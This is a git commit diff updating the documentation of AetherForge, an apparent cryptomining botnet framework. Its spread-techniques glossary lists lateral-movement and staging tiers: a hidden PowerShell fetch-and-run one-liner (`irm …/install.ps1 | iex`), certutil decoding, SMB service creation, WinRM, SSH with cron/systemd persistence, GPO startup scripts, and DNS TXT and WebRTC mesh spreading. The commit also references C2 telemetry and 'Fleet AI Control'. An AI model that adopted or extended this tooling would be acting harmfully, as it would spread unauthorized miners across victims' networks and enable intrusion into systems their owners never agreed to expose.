drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README and documentation for LOTL onion, fleet intelligence, and AI control
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Details

Browse Source
This commit is contained in:
AetherForge
2026-06-07 02:47:21 -07:00
parent aaa6fc77a4
commit 95f26a8d08
7 changed files with 242 additions and 28 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
docs/SPREAD_TECHNIQUES.md
View File

@@ -8,6 +8,8 @@ Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`
Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
**Changelog (2026-06-07):** Documented full 14-tier LOTL spread chain (`vuln_recon` → `gpo`), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (`/lotl-timeline`), and Android APK fleet nodes. See [`README.md`](../README.md) and [`tests/README.md`](../tests/README.md).
## Master test doc + full glossary
Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
@@ -16,7 +18,7 @@ Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields,
Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
## Mini glossary (spread tiers)
## Mini glossary (14 spread tiers)
| Tier | One-line | Example |
|------|----------|---------|
@@ -26,7 +28,11 @@ Root README includes a concise architecture pointer: [`README.md` § LOTL triple
| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
| `do_peer` | DoSvc shadow cache handoff (LAN) | Probe & Join when `DoSvc` running |
| `wsus_cache_peer` | WSUS cache cousin staging | `Wuauserv` → `join_lane: wsus_cache_peer` |
| `dns_txt` | DNS TXT mesh shards | `_aether` TXT → `join_lane: dns_txt` |
| `webrtc_mesh` | WebRTC LAN seeder (forge default OFF) | `webrtc_mesh_spread` + Calibrate rotation policy |
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with UNC worker path |
| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |